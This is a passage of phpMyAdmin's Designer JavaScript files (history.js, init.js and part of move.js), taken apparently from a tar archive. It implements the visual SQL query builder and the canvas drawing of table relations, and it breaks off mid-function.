* @param {string} type of historyArray where change is to be made * @return {void} */ DesignerHistory.edit = function (type) { if (type === 'Rename') { if (document.getElementById('e_rename').value !== '') { historyArray[gIndex].getObj().setRenameTo(document.getElementById('e_rename').value); document.getElementById('e_rename').value = ''; } document.getElementById('query_rename_to').style.visibility = 'hidden'; } else if (type === 'Aggregate') { if (document.getElementById('e_operator').value !== '---') { historyArray[gIndex].getObj().setOperator(document.getElementById('e_operator').value); document.getElementById('e_operator').value = '---'; } document.getElementById('query_Aggregate').style.visibility = 'hidden'; } else if (type === 'Where') { if (document.getElementById('erel_opt').value !== '--' && document.getElementById('eQuery').value !== '') { historyArray[gIndex].getObj().setQuery(document.getElementById('eQuery').value); historyArray[gIndex].getObj().setRelationOperator(document.getElementById('erel_opt').value); } document.getElementById('query_where').style.visibility = 'hidden'; } else if (type === 'Having') { if (document.getElementById('hrel_opt').value !== '--' && document.getElementById('hQuery').value !== '') { historyArray[gIndex].getObj().setQuery(document.getElementById('hQuery').value); historyArray[gIndex].getObj().setRelationOperator(document.getElementById('hrel_opt').value); historyArray[gIndex].getObj().setOperator(document.getElementById('hoperator').value); } document.getElementById('query_having').style.visibility = 'hidden'; } var existingDiv = document.getElementById('ab'); existingDiv.innerHTML = DesignerHistory.display(0, 0); $('#ab').accordion('refresh'); }; /** * history object closure * * @param nColumnName name of the column on which conditions are put * @param nObj object details(where,rename,orderby,groupby,aggregate) * @param nTab table name of the column on which conditions are applied * @param nObjNo object no used for inner join * @param nType type of object * */ DesignerHistory.HistoryObj = function (nColumnName, nObj, nTab, nObjNo, nType) { var andOr; var obj; var tab; var columnName; var objNo; var type; this.setColumnName = function (nColumnName) { columnName = nColumnName; }; this.getColumnName = function () { return columnName; }; this.setAndOr = function (nAndOr) { andOr = nAndOr; }; this.getAndOr = function () { return andOr; }; this.getRelation = function () { return andOr; }; this.setObj = function (nObj) { obj = nObj; }; this.getObj = function () { return obj; }; this.setTab = function (nTab) { tab = nTab; }; this.getTab = function () { return tab; }; this.setObjNo = function (nObjNo) { objNo = nObjNo; }; this.getObjNo = function () { return objNo; }; this.setType = function (nType) { type = nType; }; this.getType = function () { return type; }; this.setObjNo(nObjNo); this.setTab(nTab); this.setAndOr(0); this.setObj(nObj); this.setColumnName(nColumnName); this.setType(nType); }; /** * where object closure, makes an object with all information of where * * @param nRelationOperator type of relation operator to be applied * @param nQuery stores value of value/sub-query * */ DesignerHistory.Where = function (nRelationOperator, nQuery) { var relationOperator; var query; this.setRelationOperator = function (nRelationOperator) { relationOperator = nRelationOperator; }; this.setQuery = function (nQuery) { query = nQuery; }; this.getQuery = function () { return query; }; this.getRelationOperator = function () { return relationOperator; }; this.setQuery(nQuery); this.setRelationOperator(nRelationOperator); }; /** * Orderby object closure * * @param nOrder order, ASC or DESC */ DesignerHistory.OrderBy = function (nOrder) { var order; this.setOrder = function (nOrder) { order = nOrder; }; this.getOrder = function () { return order; }; this.setOrder(nOrder); }; /** * Having object closure, makes an object with all information of where * * @param nRelationOperator type of relation operator to be applied * @param nQuery stores value of value/sub-query * @param nOperator operator */ DesignerHistory.Having = function (nRelationOperator, nQuery, nOperator) { var relationOperator; var query; var operator; this.setOperator = function (nOperator) { operator = nOperator; }; this.setRelationOperator = function (nRelationOperator) { relationOperator = nRelationOperator; }; this.setQuery = function (nQuery) { query = nQuery; }; this.getQuery = function () { return query; }; this.getRelationOperator = function () { return relationOperator; }; this.getOperator = function () { return operator; }; this.setQuery(nQuery); this.setRelationOperator(nRelationOperator); this.setOperator(nOperator); }; /** * rename object closure,makes an object with all information of rename * * @param nRenameTo new name information * */ DesignerHistory.Rename = function (nRenameTo) { var renameTo; this.setRenameTo = function (nRenameTo) { renameTo = nRenameTo; }; this.getRenameTo = function () { return renameTo; }; this.setRenameTo(nRenameTo); }; /** * aggregate object closure * * @param nOperator aggregate operator * */ DesignerHistory.Aggregate = function (nOperator) { var operator; this.setOperator = function (nOperator) { operator = nOperator; }; this.getOperator = function () { return operator; }; this.setOperator(nOperator); }; /** * This function returns unique element from an array * * @param arrayName array from which duplicate elem are to be removed. * @return unique array */ DesignerHistory.unique = function (arrayName) { var newArray = []; uniquetop: for (var i = 0; i < arrayName.length; i++) { var newArrayLength = newArray.length; for (var j = 0; j < newArrayLength; j++) { if (newArray[j] === arrayName[i]) { continue uniquetop; } } newArray[newArrayLength] = arrayName[i]; } return newArray; }; /** * This function takes in array and a value as input and returns 1 if values is present in array * else returns -1 * * @param arrayName array * @param value value which is to be searched in the array */ DesignerHistory.found = function (arrayName, value) { var arrayNameLength = arrayName.length; for (var i = 0; i < arrayNameLength; i++) { if (arrayName[i] === value) { return 1; } } return -1; }; /** * This function concatenates two array * * @param {object} add array elements of which are pushed in * @param {obj[]} arr array in which elements are added * * @return {obj[]} */ DesignerHistory.addArray = function (add, arr) { var addLength = add.length; for (var i = 0; i < addLength; i++) { arr.push(add[i]); } return arr; }; /** * This function removes all elements present in one array from the other. * * @param {object} rem array from which each element is removed from other array. * @param {obj[]} arr array from which elements are removed. * * @return {obj[]} * */ DesignerHistory.removeArray = function (rem, arr) { var remLength = rem.length; for (var i = 0; i < remLength; i++) { var arrLength = arr.length; for (var j = 0; j < arrLength; j++) { if (rem[i] === arr[j]) { arr.splice(j, 1); } } } return arr; }; /** * This function builds the groupby clause from history object * @return {string} */ DesignerHistory.queryGroupBy = function () { var i; var str = ''; var historyArrayLength = historyArray.length; for (i = 0; i < historyArrayLength; i++) { if (historyArray[i].getType() === 'GroupBy') { str += '`' + historyArray[i].getColumnName() + '`, '; } } str = str.substr(0, str.length - 2); return str; }; /** * This function builds the Having clause from the history object. * @return {string} */ DesignerHistory.queryHaving = function () { var i; var and = '('; var historyArrayLength = historyArray.length; for (i = 0; i < historyArrayLength; i++) { if (historyArray[i].getType() === 'Having') { if (historyArray[i].getObj().getOperator() !== 'None') { and += historyArray[i].getObj().getOperator() + '(`' + historyArray[i].getColumnName() + '`) ' + historyArray[i].getObj().getRelationOperator(); and += ' ' + historyArray[i].getObj().getQuery() + ', '; } else { and += '`' + historyArray[i].getColumnName() + '` ' + historyArray[i].getObj().getRelationOperator() + ' ' + historyArray[i].getObj().getQuery() + ', '; } } } if (and === '(') { and = ''; } else { and = and.substr(0, and.length - 2) + ')'; } return and; }; /** * This function builds the orderby clause from the history object. * @return {string} */ DesignerHistory.queryOrderBy = function () { var i; var str = ''; var historyArrayLength = historyArray.length; for (i = 0; i < historyArrayLength; i++) { if (historyArray[i].getType() === 'OrderBy') { str += '`' + historyArray[i].getColumnName() + '` ' + historyArray[i].getObj().getOrder() + ', '; } } str = str.substr(0, str.length - 2); return str; }; /** * This function builds the Where clause from the history object. * @return {string} */ DesignerHistory.queryWhere = function () { var i; var and = '('; var or = '('; var historyArrayLength = historyArray.length; for (i = 0; i < historyArrayLength; i++) { if (historyArray[i].getType() === 'Where') { if (historyArray[i].getAndOr() === 0) { and += '( `' + historyArray[i].getColumnName() + '` ' + historyArray[i].getObj().getRelationOperator() + ' ' + historyArray[i].getObj().getQuery() + ')'; and += ' AND '; } else { or += '( `' + historyArray[i].getColumnName() + '` ' + historyArray[i].getObj().getRelationOperator() + ' ' + historyArray[i].getObj().getQuery() + ')'; or += ' OR '; } } } if (or !== '(') { or = or.substring(0, (or.length - 4)) + ')'; } else { or = ''; } if (and !== '(') { and = and.substring(0, (and.length - 5)) + ')'; } else { and = ''; } if (or !== '') { and = and + ' OR ' + or + ' )'; } return and; }; DesignerHistory.checkAggregate = function (idThis) { var i; var historyArrayLength = historyArray.length; for (i = 0; i < historyArrayLength; i++) { var temp = '`' + historyArray[i].getTab() + '`.`' + historyArray[i].getColumnName() + '`'; if (temp === idThis && historyArray[i].getType() === 'Aggregate') { return historyArray[i].getObj().getOperator() + '(' + idThis + ')'; } } return ''; }; DesignerHistory.checkRename = function (idThis) { var i; var historyArrayLength = historyArray.length; for (i = 0; i < historyArrayLength; i++) { var temp = '`' + historyArray[i].getTab() + '`.`' + historyArray[i].getColumnName() + '`'; if (temp === idThis && historyArray[i].getType() === 'Rename') { return ' AS `' + historyArray[i].getObj().getRenameTo() + '`'; } } return ''; }; /** * This function builds from clause of query * makes automatic joins. * * @return {string} */ DesignerHistory.queryFrom = function () { var i; var tabLeft = []; var tabUsed = []; var tTabLeft = []; var temp; var query = ''; var quer = ''; var parts = []; var tArray = []; tArray = fromArray; var K = 0; var k; var key; var key2; var key3; var parts1; // the constraints that have been used in the LEFT JOIN var constraintsAdded = []; var historyArrayLength = historyArray.length; for (i = 0; i < historyArrayLength; i++) { fromArray.push(historyArray[i].getTab()); } fromArray = DesignerHistory.unique(fromArray); tabLeft = fromArray; temp = tabLeft.shift(); quer = '`' + temp + '`'; tabUsed.push(temp); // if master table (key2) matches with tab used get all keys and check if tab_left matches // after this check if master table (key2) matches with tab left then check if any foreign matches with master . for (i = 0; i < 2; i++) { for (K in contr) { for (key in contr[K]) {// contr name for (key2 in contr[K][key]) {// table name parts = key2.split('.'); if (DesignerHistory.found(tabUsed, parts[1]) > 0) { for (key3 in contr[K][key][key2]) { parts1 = contr[K][key][key2][key3][0].split('.'); if (DesignerHistory.found(tabLeft, parts1[1]) > 0) { if (DesignerHistory.found(constraintsAdded, key) > 0) { query += ' AND ' + '`' + parts[1] + '`.`' + key3 + '` = '; query += '`' + parts1[1] + '`.`' + contr[K][key][key2][key3][1] + '` '; } else { query += '\n' + 'LEFT JOIN '; query += '`' + parts[1] + '` ON '; query += '`' + parts1[1] + '`.`' + contr[K][key][key2][key3][1] + '` = '; query += '`' + parts[1] + '`.`' + key3 + '` '; constraintsAdded.push(key); } tTabLeft.push(parts[1]); } } } } } } K = 0; tTabLeft = DesignerHistory.unique(tTabLeft); tabUsed = DesignerHistory.addArray(tTabLeft, tabUsed); tabLeft = DesignerHistory.removeArray(tTabLeft, tabLeft); tTabLeft = []; for (K in contr) { for (key in contr[K]) { for (key2 in contr[K][key]) {// table name parts = key2.split('.'); if (DesignerHistory.found(tabLeft, parts[1]) > 0) { for (key3 in contr[K][key][key2]) { parts1 = contr[K][key][key2][key3][0].split('.'); if (DesignerHistory.found(tabUsed, parts1[1]) > 0) { if (DesignerHistory.found(constraintsAdded, key) > 0) { query += ' AND ' + '`' + parts[1] + '`.`' + key3 + '` = '; query += '`' + parts1[1] + '`.`' + contr[K][key][key2][key3][1] + '` '; } else { query += '\n' + 'LEFT JOIN '; query += '`' + parts[1] + '` ON '; query += '`' + parts1[1] + '`.`' + contr[K][key][key2][key3][1] + '` = '; query += '`' + parts[1] + '`.`' + key3 + '` '; constraintsAdded.push(key); } tTabLeft.push(parts[1]); } } } } } } tTabLeft = DesignerHistory.unique(tTabLeft); tabUsed = DesignerHistory.addArray(tTabLeft, tabUsed); tabLeft = DesignerHistory.removeArray(tTabLeft, tabLeft); tTabLeft = []; } for (k in tabLeft) { quer += ' , `' + tabLeft[k] + '`'; } query = quer + query; fromArray = tArray; return query; }; /** * This function is the main function for query building. * uses history object details for this. * * @uses DesignerHistory.queryWhere() * @uses DesignerHistory.queryGroupBy() * @uses DesignerHistory.queryHaving() * @uses DesignerHistory.queryOrderBy() */ DesignerHistory.buildQuery = function () { var qSelect = 'SELECT '; var temp; var selectFieldLength = selectField.length; if (selectFieldLength > 0) { for (var i = 0; i < selectFieldLength; i++) { temp = DesignerHistory.checkAggregate(selectField[i]); if (temp !== '') { qSelect += temp; temp = DesignerHistory.checkRename(selectField[i]); qSelect += temp + ', '; } else { temp = DesignerHistory.checkRename(selectField[i]); qSelect += selectField[i] + temp + ', '; } } qSelect = qSelect.substring(0, qSelect.length - 2); } else { qSelect += '* '; } qSelect += '\nFROM ' + DesignerHistory.queryFrom(); var qWhere = DesignerHistory.queryWhere(); if (qWhere !== '') { qSelect += '\nWHERE ' + qWhere; } var qGroupBy = DesignerHistory.queryGroupBy(); if (qGroupBy !== '') { qSelect += '\nGROUP BY ' + qGroupBy; } var qHaving = DesignerHistory.queryHaving(); if (qHaving !== '') { qSelect += '\nHAVING ' + qHaving; } var qOrderBy = DesignerHistory.queryOrderBy(); if (qOrderBy !== '') { qSelect += '\nORDER BY ' + qOrderBy; } $('#buildQuerySubmitButton').on('click', function () { if (vqbEditor) { var $elm = $('#buildQueryModal').find('textarea'); vqbEditor.save(); $elm.val(vqbEditor.getValue()); } $('#vqb_form').trigger('submit'); }); $('#buildQueryModal').modal('show'); $('#buildQueryModalLabel').first().text('SELECT'); $('#buildQueryModal').on('shown.bs.modal', function () { // Attach syntax highlighted editor to query dialog /** * @var $elm jQuery object containing the reference * to the query textarea. */ var $elm = $('#buildQueryModal').find('textarea'); if (! vqbEditor) { vqbEditor = Functions.getSqlEditor($elm); } if (vqbEditor) { vqbEditor.setValue(qSelect); vqbEditor.focus(); } else { $elm.val(qSelect); $elm.trigger('focus'); } }); }; AJAX.registerTeardown('designer/history.js', function () { vqbEditor = null; historyArray = []; selectField = []; $('#ok_edit_rename').off('click'); $('#ok_edit_having').off('click'); $('#ok_edit_Aggr').off('click'); $('#ok_edit_where').off('click'); }); AJAX.registerOnload('designer/history.js', function () { $('#ok_edit_rename').on('click', function () { DesignerHistory.edit('Rename'); }); $('#ok_edit_having').on('click', function () { DesignerHistory.edit('Having'); }); $('#ok_edit_Aggr').on('click', function () { DesignerHistory.edit('Aggregate'); }); $('#ok_edit_where').on('click', function () { DesignerHistory.edit('Where'); }); $('#ab').accordion({ collapsible : true, active : 'none' }); }); designer/init.js000066600000004040151724624350007660 0ustar00/** * Initializes the data required to run Designer, then fires it up. */ /* global DesignerOfflineDB */ // js/designer/database.js /* global DesignerHistory */ // js/designer/history.js /* global DesignerMove */ // js/designer/move.js /* global DesignerPage */ // js/designer/page.js /* global designerConfig */ // templates/database/designer/main.twig /* eslint-disable no-unused-vars */ var jTabs; var hTabs; var contr; var displayField; var server; var selectedPage; /* eslint-enable no-unused-vars */ var db; var designerTablesEnabled; AJAX.registerTeardown('designer/init.js', function () { $('.trigger').off('click'); }); AJAX.registerOnload('designer/init.js', function () { $('.trigger').on('click', function () { $('.panel').toggle('fast'); $(this).toggleClass('active'); $('#ab').accordion('refresh'); return false; }); jTabs = designerConfig.scriptTables.j_tabs; hTabs = designerConfig.scriptTables.h_tabs; contr = designerConfig.scriptContr; displayField = designerConfig.scriptDisplayField; server = designerConfig.server; selectedPage = designerConfig.displayPage; db = designerConfig.db; designerTablesEnabled = designerConfig.tablesEnabled; DesignerMove.main(); if (! designerTablesEnabled) { DesignerOfflineDB.open(function (success) { if (success) { DesignerPage.showTablesInLandingPage(db); } }); } $('#query_Aggregate_Button').on('click', function () { $('#query_Aggregate').css('display', 'none'); }); $('#query_having_button').on('click', function () { $('#query_having').css('display', 'none'); }); $('#query_rename_to_button').on('click', function () { $('#query_rename_to').css('display', 'none'); }); $('#build_query_button').on('click', function () { DesignerHistory.buildQuery('SQL Query on Database', 0); }); $('#query_where_button').on('click', function () { $('#query_where').css('display', 'none'); }); }); designer/move.js000066600000240764151724624350007702 0ustar00/** * @package PhpMyAdmin-Designer */ /* global DesignerObjects */ // js/designer/objects.js /* global DesignerHistory, historyArray, selectField */ // js/designer/history.js /* global contr, db, designerTablesEnabled, displayField, hTabs, jTabs, selectedPage:writable, server */ // js/designer/init.js /* global DesignerPage */ // js/designer/page.js /* global themeImagePath */ // templates/javascript/variables.twig var DesignerMove = {}; var change = 0; // variable to track any change in designer layout. var showRelationLines = true; var alwaysShowText = false; AJAX.registerTeardown('designer/move.js', function () { $(document).off('fullscreenchange'); $('#selflink').show(); }); AJAX.registerOnload('designer/move.js', function () { var $content = $('#page_content'); var $img = $('#toggleFullscreen').find('img'); var $span = $img.siblings('span'); $content.css({ 'margin-left': '3px' }); $(document).on('fullscreenchange', function () { if (! document.fullscreenElement) { $content.removeClass('content_fullscreen') .css({ 'width': 'auto', 'height': 'auto' }); $('#osn_tab').css({ 'width': 'auto', 'height': 'auto' }); $img.attr('src', $img.data('enter')) .attr('title', $span.data('enter')); $span.text($span.data('enter')); // Saving the fullscreen state in config when // designer exists fullscreen mode via ESC key var valueSent = 'off'; DesignerMove.saveValueInConfig('full_screen', valueSent); } }); $('#selflink').hide(); }); DesignerMove.markSaved = function () { change = 0; $('#saved_state').text(''); }; DesignerMove.markUnsaved = function () { change = 1; $('#saved_state').text('*'); }; var mainDirection = $('html').attr('dir') === 'rtl' ? 'right' : 'left'; // Will be used to multiply the offsetLeft by -1 if the direction is rtl. var directionEffect = mainDirection === 'right' ? -1 : 1; var curClick = null; var smS = 0; var smAdd = 10; var sLeft = 0; var sRight = 0; var onRelation = 0; var onGrid = 0; var onDisplayField = 0; // relation_style: 0 - angular 1 - direct var onAngularDirect = 1; var clickField = 0; var linkRelation = ''; var canvasWidth = 0; var canvasHeight = 0; var osnTabWidth = 0; var osnTabHeight = 0; var heightField = 7; var globX; var globY; var timeoutId; var layerMenuCurClick = 0; var fromArray = []; var menuMoved = false; var gridSize = 10; // ------------------------------------------------------------------------------ var isIe = document.all && !window.opera; if (isIe) { window.onscroll = DesignerMove.generalScroll; document.onselectstart = function () { return false; }; } DesignerMove.mouseDown = function (e) { // eslint-disable-next-line compat/compat globX = isIe ? e.clientX + document.body.scrollLeft : e.pageX; // eslint-disable-next-line compat/compat globY = isIe ? e.clientY + document.body.scrollTop : e.pageY; if (e.target.tagName === 'SPAN') { curClick = e.target.parentNode.parentNode.parentNode.parentNode; } else if (e.target.className === 'tab_zag_2') { curClick = e.target.parentNode.parentNode.parentNode; } else if (e.target.id === 'layer_menu_sizer_btn') { layerMenuCurClick = 1; } else if (e.target.className === 'M_butt') { return false; } if (curClick !== null) { document.getElementById('canvas').style.display = 'none'; curClick.style.zIndex = 2; } }; DesignerMove.mouseMove = function (e) { if (e.preventDefault) { e.preventDefault(); } // eslint-disable-next-line compat/compat var newDx = isIe ? e.clientX + document.body.scrollLeft : e.pageX; // eslint-disable-next-line compat/compat var newDy = isIe ? e.clientY + document.body.scrollTop : e.pageY; var deltaX = globX - newDx; var deltaY = globY - newDy; globX = newDx; globY = newDy; if (curClick !== null) { DesignerMove.markUnsaved(); var $curClick = $(curClick); var curX = parseFloat($curClick.attr('data-' + mainDirection) || $curClick.css(mainDirection)); var curY = parseFloat($curClick.attr('data-top') || $curClick.css('top')); var newX = curX - directionEffect * deltaX; var newY = curY - deltaY; $curClick.attr('data-' + mainDirection, newX); $curClick.attr('data-top', newY); if (onGrid) { newX = parseInt(newX / gridSize) * gridSize; newY = parseInt(newY / gridSize) * gridSize; } if (newX < 0) { newX = 0; } else if (newY < 0) { newY = 0; } $curClick.css(mainDirection, newX + 'px'); $curClick.css('top', newY + 'px'); } else if (layerMenuCurClick) { if (menuMoved) { deltaX = -deltaX; } var $layerMenu = $('#layer_menu'); var newWidth = $layerMenu.width() + directionEffect * deltaX; if (newWidth < 150) { newWidth = 150; } $layerMenu.width(newWidth); } if (onRelation || onDisplayField) { document.getElementById('designer_hint').style.left = (globX + 20) + 'px'; document.getElementById('designer_hint').style.top = (globY + 20) + 'px'; } }; DesignerMove.mouseUp = function () { if (curClick !== null) { document.getElementById('canvas').style.display = 'inline-block'; DesignerMove.reload(); curClick.style.zIndex = 1; curClick = null; } layerMenuCurClick = 0; }; // ------------------------------------------------------------------------------ DesignerMove.canvasPos = function () { canvasWidth = document.getElementById('canvas').width = osnTabWidth - 3; canvasHeight = document.getElementById('canvas').height = osnTabHeight - 3; if (isIe) { document.getElementById('canvas').style.width = ((osnTabWidth - 3) ? (osnTabWidth - 3) : 0) + 'px'; document.getElementById('canvas').style.height = ((osnTabHeight - 3) ? (osnTabHeight - 3) : 0) + 'px'; } }; DesignerMove.osnTabPos = function () { osnTabWidth = parseInt(document.getElementById('osn_tab').style.width, 10); osnTabHeight = parseInt(document.getElementById('osn_tab').style.height, 10); }; DesignerMove.setDefaultValuesFromSavedState = function () { if ($('#angular_direct_button').attr('class') === 'M_butt') { onAngularDirect = 0; } else { onAngularDirect = 1; } DesignerMove.angularDirect(); if ($('#grid_button').attr('class') === 'M_butt') { onGrid = 1; } else { onGrid = 0; } DesignerMove.grid(); var $relLineInvert = $('#relLineInvert'); if ($relLineInvert.attr('class') === 'M_butt') { showRelationLines = false; $relLineInvert.attr('class', 'M_butt'); } else { showRelationLines = true; $relLineInvert.attr('class', 'M_butt_Selected_down'); } DesignerMove.relationLinesInvert(); if ($('#pin_Text').attr('class') === 'M_butt_Selected_down') { alwaysShowText = true; DesignerMove.showText(); } else { alwaysShowText = false; } var $keySbAll = $('#key_SB_all'); if ($keySbAll.attr('class') === 'M_butt_Selected_down') { $keySbAll.trigger('click'); $keySbAll.toggleClass('M_butt_Selected_down'); $keySbAll.toggleClass('M_butt'); } var $keyLeftRight = $('#key_Left_Right'); if ($keyLeftRight.attr('class') === 'M_butt_Selected_down') { $keyLeftRight.trigger('click'); } }; DesignerMove.main = function () { // ---CROSS document.getElementById('layer_menu').style.top = -1000 + 'px'; // fast scroll DesignerMove.osnTabPos(); DesignerMove.canvasPos(); DesignerMove.smallTabRefresh(); DesignerMove.reload(); DesignerMove.setDefaultValuesFromSavedState(); if (isIe) { DesignerMove.generalScroll(); } }; DesignerMove.resizeOsnTab = function () { var maxX = 0; var maxY = 0; for (var key in jTabs) { var kX = parseInt(document.getElementById(key).style[mainDirection], 10) + document.getElementById(key).offsetWidth; var kY = parseInt(document.getElementById(key).style.top, 10) + document.getElementById(key).offsetHeight; maxX = maxX < kX ? kX : maxX; maxY = maxY < kY ? kY : maxY; } osnTabWidth = maxX + 50; osnTabHeight = maxY + 50; DesignerMove.canvasPos(); }; /** * Draw a colored line * * @param {number} x1 * @param {number} x2 * @param {number} y1 * @param {number} y2 * @param {HTMLElement} osnTab * @param {string} colorTarget * @return {void} */ DesignerMove.drawLine0 = function (x1, x2, y1, y2, osnTab, colorTarget) { DesignerMove.line0( x1 + directionEffect * osnTab.offsetLeft, y1 - osnTab.offsetTop, x2 + directionEffect * osnTab.offsetLeft, y2 - osnTab.offsetTop, DesignerMove.getColorByTarget(colorTarget) ); }; /** * refreshes display, must be called after state changes */ DesignerMove.reload = function () { DesignerMove.resizeOsnTab(); var n; var x1; var x2; var a = []; var K; var key; var key2; var key3; DesignerMove.clear(); var osnTab = document.getElementById('osn_tab'); for (K in contr) { for (key in contr[K]) { // contr name for (key2 in contr[K][key]) { // table name for (key3 in contr[K][key][key2]) { // field name if (!document.getElementById('check_vis_' + key2).checked || !document.getElementById('check_vis_' + contr[K][key][key2][key3][0]).checked) { // if hide continue; } var x1Left = document.getElementById(key2).offsetLeft + 1; var x1Right = x1Left + document.getElementById(key2).offsetWidth; var x2Left = document.getElementById(contr[K][key][key2][key3][0]).offsetLeft; var x2Right = x2Left + document.getElementById(contr[K][key][key2][key3][0]).offsetWidth; a[0] = Math.abs(x1Left - x2Left); a[1] = Math.abs(x1Left - x2Right); a[2] = Math.abs(x1Right - x2Left); a[3] = Math.abs(x1Right - x2Right); n = sLeft = sRight = 0; for (var i = 1; i < 4; i++) { if (a[n] > a[i]) { n = i; } } if (n === 1) { x1 = x1Left - smS; x2 = x2Right + smS; if (x1 < x2) { n = 0; } } if (n === 2) { x1 = x1Right + smS; x2 = x2Left - smS; if (x1 > x2) { n = 0; } } if (n === 3) { x1 = x1Right + smS; x2 = x2Right + smS; sRight = 1; } if (n === 0) { x1 = x1Left - smS; x2 = x2Left - smS; sLeft = 1; } var rowOffsetTop = 0; var tabHideButton = document.getElementById('id_hide_tbody_' + key2); if (tabHideButton.innerHTML === 'v') { var fromColumn = document.getElementById(key2 + '.' + key3); if (fromColumn) { rowOffsetTop = fromColumn.offsetTop; } else { continue; } } var y1 = document.getElementById(key2).offsetTop + rowOffsetTop + heightField; rowOffsetTop = 0; tabHideButton = document.getElementById('id_hide_tbody_' + contr[K][key][key2][key3][0]); if (tabHideButton.innerHTML === 'v') { var toColumn = document.getElementById(contr[K][key][key2][key3][0] + '.' + contr[K][key][key2][key3][1]); if (toColumn) { rowOffsetTop = toColumn.offsetTop; } else { continue; } } var y2 = document.getElementById(contr[K][key][key2][key3][0]).offsetTop + rowOffsetTop + heightField; DesignerMove.drawLine0( x1, x2, y1, y2, osnTab, contr[K][key][key2][key3][0] + '.' + contr[K][key][key2][key3][1] ); } } } } }; /** * draws a line from x1:y1 to x2:y2 with color * @param x1 * @param y1 * @param x2 * @param y2 * @param colorLine */ DesignerMove.line = function (x1, y1, x2, y2, colorLine) { var canvas = document.getElementById('canvas'); var ctx = canvas.getContext('2d'); ctx.strokeStyle = colorLine; ctx.lineWidth = 1; ctx.beginPath(); ctx.moveTo(x1, y1); ctx.lineTo(x2, y2); ctx.stroke(); }; /** * draws a relation/constraint line, whether angular or not * @param x1 * @param y1 * @param x2 * @param y2 * @param colorLine */ DesignerMove.line0 = function (x1, y1, x2, y2, colorLine) { if (! showRelationLines) { return; } DesignerMove.circle(x1, y1, 3, 3, colorLine); DesignerMove.rect(x2 - 1, y2 - 2, 4, 4, colorLine); if (onAngularDirect) { DesignerMove.line2(x1, y1, x2, y2, colorLine); } else { DesignerMove.line3(x1, y1, x2, y2, colorLine); } }; /** * draws a angular relation/constraint line * @param x1 * @param y1 * @param x2 * @param y2 * @param colorLine */ DesignerMove.line2 = function (x1, y1, x2, y2, colorLine) { var x1Local = x1; var x2Local = x2; if (sRight) { x1Local += smAdd; x2Local += smAdd; } else if (sLeft) { x1Local -= smAdd; x2Local -= smAdd; } else if (x1 < x2) { x1Local += smAdd; x2Local -= smAdd; } else { x1Local -= smAdd; x2Local += smAdd; } DesignerMove.line(x1, y1, x1Local, y1, colorLine); DesignerMove.line(x2, y2, x2Local, y2, colorLine); DesignerMove.line(x1Local, y1, x2Local, y2, colorLine); }; /** * draws a relation/constraint line * @param x1 * @param y1 * @param x2 * @param y2 * @param colorLine */ DesignerMove.line3 = function (x1, y1, x2, y2, colorLine) { var x1Local = x1; var x2Local = x2; if (sRight) { if (x1 < x2) { x1Local += x2 - x1 + smAdd; x2Local += smAdd; } else { x2Local += x1 - x2 + smAdd; x1Local += smAdd; } DesignerMove.line(x1, y1, x1Local, y1, colorLine); DesignerMove.line(x2, y2, x2Local, y2, colorLine); DesignerMove.line(x1Local, y1, x2Local, y2, colorLine); return; } if (sLeft) { if (x1 < x2) { x2Local -= x2 - x1 + smAdd; x1Local -= smAdd; } else { x1Local -= x1 - x2 + smAdd; x2Local -= smAdd; } DesignerMove.line(x1, y1, x1Local, y1, colorLine); DesignerMove.line(x2, y2, x2Local, y2, colorLine); DesignerMove.line(x1Local, y1, x2Local, y2, colorLine); return; } var xS = (x1 + x2) / 2; DesignerMove.line(x1, y1, xS, y1, colorLine); DesignerMove.line(xS, y2, x2, y2, colorLine); DesignerMove.line(xS, y1, xS, y2, colorLine); }; DesignerMove.circle = function (x, y, r, w, color) { var ctx = document.getElementById('canvas').getContext('2d'); ctx.beginPath(); ctx.moveTo(x, y); ctx.lineWidth = w; ctx.strokeStyle = color; ctx.arc(x, y, r, 0, 2 * Math.PI, true); ctx.stroke(); }; DesignerMove.clear = function () { var canvas = document.getElementById('canvas'); var ctx = canvas.getContext('2d'); ctx.clearRect(0, 0, canvasWidth, canvasHeight); }; DesignerMove.rect = function (x1, y1, w, h, color) { var ctx = document.getElementById('canvas').getContext('2d'); ctx.fillStyle = color; ctx.fillRect(x1, y1, w, h); }; // --------------------------- FULLSCREEN ------------------------------------- DesignerMove.toggleFullscreen = function () { var valueSent = ''; var $img = $('#toggleFullscreen').find('img'); var $span = $img.siblings('span'); var $content = $('#page_content'); const pageContent = document.getElementById('page_content'); if (! document.fullscreenElement) { $img.attr('src', $img.data('exit')) .attr('title', $span.data('exit')); $span.text($span.data('exit')); $content .addClass('content_fullscreen') .css({ 'width': screen.width - 5, 'height': screen.height - 5 }); $('#osn_tab').css({ 'width': screen.width + 'px', 'height': screen.height }); valueSent = 'on'; pageContent.requestFullscreen(); } else { $img.attr('src', $img.data('enter')) .attr('title', $span.data('enter')); $span.text($span.data('enter')); $content.removeClass('content_fullscreen') .css({ 'width': 'auto', 'height': 'auto' }); $('#osn_tab').css({ 'width': 'auto', 'height': 'auto' }); document.exitFullscreen(); valueSent = 'off'; } DesignerMove.saveValueInConfig('full_screen', valueSent); }; DesignerMove.addTableToTablesList = function (index, tableDom) { var db = $(tableDom).find('.small_tab_pref').attr('db'); var table = $(tableDom).find('.small_tab_pref').attr('table_name'); var dbEncoded = $(tableDom).find('.small_tab_pref').attr('db_url'); var tableEncoded = $(tableDom).find('.small_tab_pref').attr('table_name_url'); var tableIsChecked = $(tableDom).css('display') === 'block' ? 'checked' : ''; var checkboxStatus = (tableIsChecked === 'checked') ? Messages.strHide : Messages.strShow; var $newTableLine = $('' + ' ' + ' ' + ' ' + ' ' + ' ' + ' ' + ' ' + $('
          ').text(db + '.' + table).html() + '' + ''); $('#id_scroll_tab table').first().append($newTableLine); $($newTableLine).find('.scroll_tab_struct').on('click', function () { DesignerMove.startTabUpd(db, table); }); $($newTableLine).on('click', '.designer_Tabs2,.designer_Tabs', function () { DesignerMove.selectTab($(this).attr('designer_url_table_name')); }); $($newTableLine).find('.scroll_tab_checkbox').on('click', function () { $(this).attr('title', function (i, currentvalue) { return currentvalue === Messages.strHide ? Messages.strShow : Messages.strHide; }); DesignerMove.visibleTab(this,$(this).val()); }); var $tablesCounter = $('#tables_counter'); $tablesCounter.text(parseInt($tablesCounter.text(), 10) + 1); }; /** * This function shows modal with Go buttons where required in designer * @param {object} form * @param {string} heading * @param {string} type * * @return {object} modal; */ DesignerMove.displayModal = function (form, heading, type) { var modal = $(type); modal.modal('show'); modal.find('.modal-body').first().html(form); $(type + 'Label').first().html(heading); return modal; }; DesignerMove.addOtherDbTables = function () { var $selectDb = $(''); 